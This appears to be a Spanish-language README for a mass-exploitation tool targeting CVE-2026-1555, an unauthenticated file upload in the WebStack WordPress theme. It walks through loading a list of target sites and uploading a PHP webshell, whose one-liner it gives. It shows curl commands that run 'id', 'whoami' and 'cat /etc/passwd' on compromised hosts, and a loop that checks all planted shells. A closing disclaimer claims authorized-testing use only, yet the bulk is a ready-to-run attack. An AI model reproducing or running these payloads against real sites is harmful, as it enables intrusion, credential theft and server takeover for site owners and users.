
WebStack <= 1.2024 - Subida de archivos arbitrarios sin autenticación
WebStack <= 1.2024 - Subida de Archivos Arbitraria No Autenticada
Ejecución Remota de Código no Autenticada a través del manejador AJAX img_upload
La función io_img_upload() registrada bajo el hook de acción img_upload de admin-ajax.php de WordPress no realiza ninguna validación de tipo de archivo o extensión antes de escribir el archivo subido en el servidor. Debido a que la acción se registra sin comprobaciones de autenticación (wp_ajax_nopriv_), cualquier atacante remoto no autenticado puede enviar por POST un archivo arbitrario — incluyendo un webshell PHP — y el servidor lo almacenará en una ruta de acceso público, lo que permite la Ejecución Remota de Código directa.
Endpoint vulnerable:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtVersión de Python: 3.8+
Instala las dependencias:
pip install requests rich urllib3
Crea un archivo llamado list.txt (o cualquier nombre que prefieras) con un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com
A los objetivos sin
http://ohttps://se les añade automáticamente el prefijohttp://.
Coloca tu webshell en el mismo directorio que el script. Ejemplo:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
Se te pedirá:
Cada subida exitosa imprime:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
Todas las URLs de shell exitosas se añaden a:
uploaded_paths.txt
Después de una subida exitosa, accede a la shell directamente mediante el navegador o curl:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
La ruta exacta de subida se extrae de la respuesta JSON del servidor (
data.src) y se imprime automáticamente.
Verifica rápidamente todas las shells subidas desde el archivo de salida:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
Al final de cada ejecución, se imprime un resumen:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
Esta herramienta se proporciona estrictamente para pruebas de penetración autorizadas, investigación de seguridad y fines educativos únicamente.
El autor — Nxploited — no se hace responsable de ningún uso indebido, daño o actividad ilegal realizada con esta herramienta. Al usar esta herramienta, confirmas que tienes permiso escrito explícito para probar todos los sistemas objetivo.
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de pruebas es ilegal y puede dar lugar a un proceso penal conforme a las leyes de ciberdelincuencia aplicables.
Úsala de forma responsable. Eres el único responsable de tus acciones.
👤 Autor: Nxploited 📣 Canal: Nxploited ZeroDay Hub 💬 Telegram: @KNxploited
| Campo | Detalle |
|---|
| ID CVE | CVE-2026-1555 |
| Componente Afectado | Tema WebStack para WordPress |
| Versiones Vulnerables | Todas las versiones hasta 1.2024 inclusive |
| Tipo de Vulnerabilidad | Subida de Archivos Arbitraria → Ejecución Remota de Código |
| Autenticación Requerida | ❌ Ninguna (No autenticada) |
| Puntuación CVSS | 9.8 CRÍTICA |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Solicitud | Descripción | Por Defecto |
|---|
Targets file | Ruta a tu lista de objetivos | list.txt |
Threads | Número de workers concurrentes | 6 |
Local file to upload | Nombre del archivo de tu payload (en el directorio del script) | shell.php |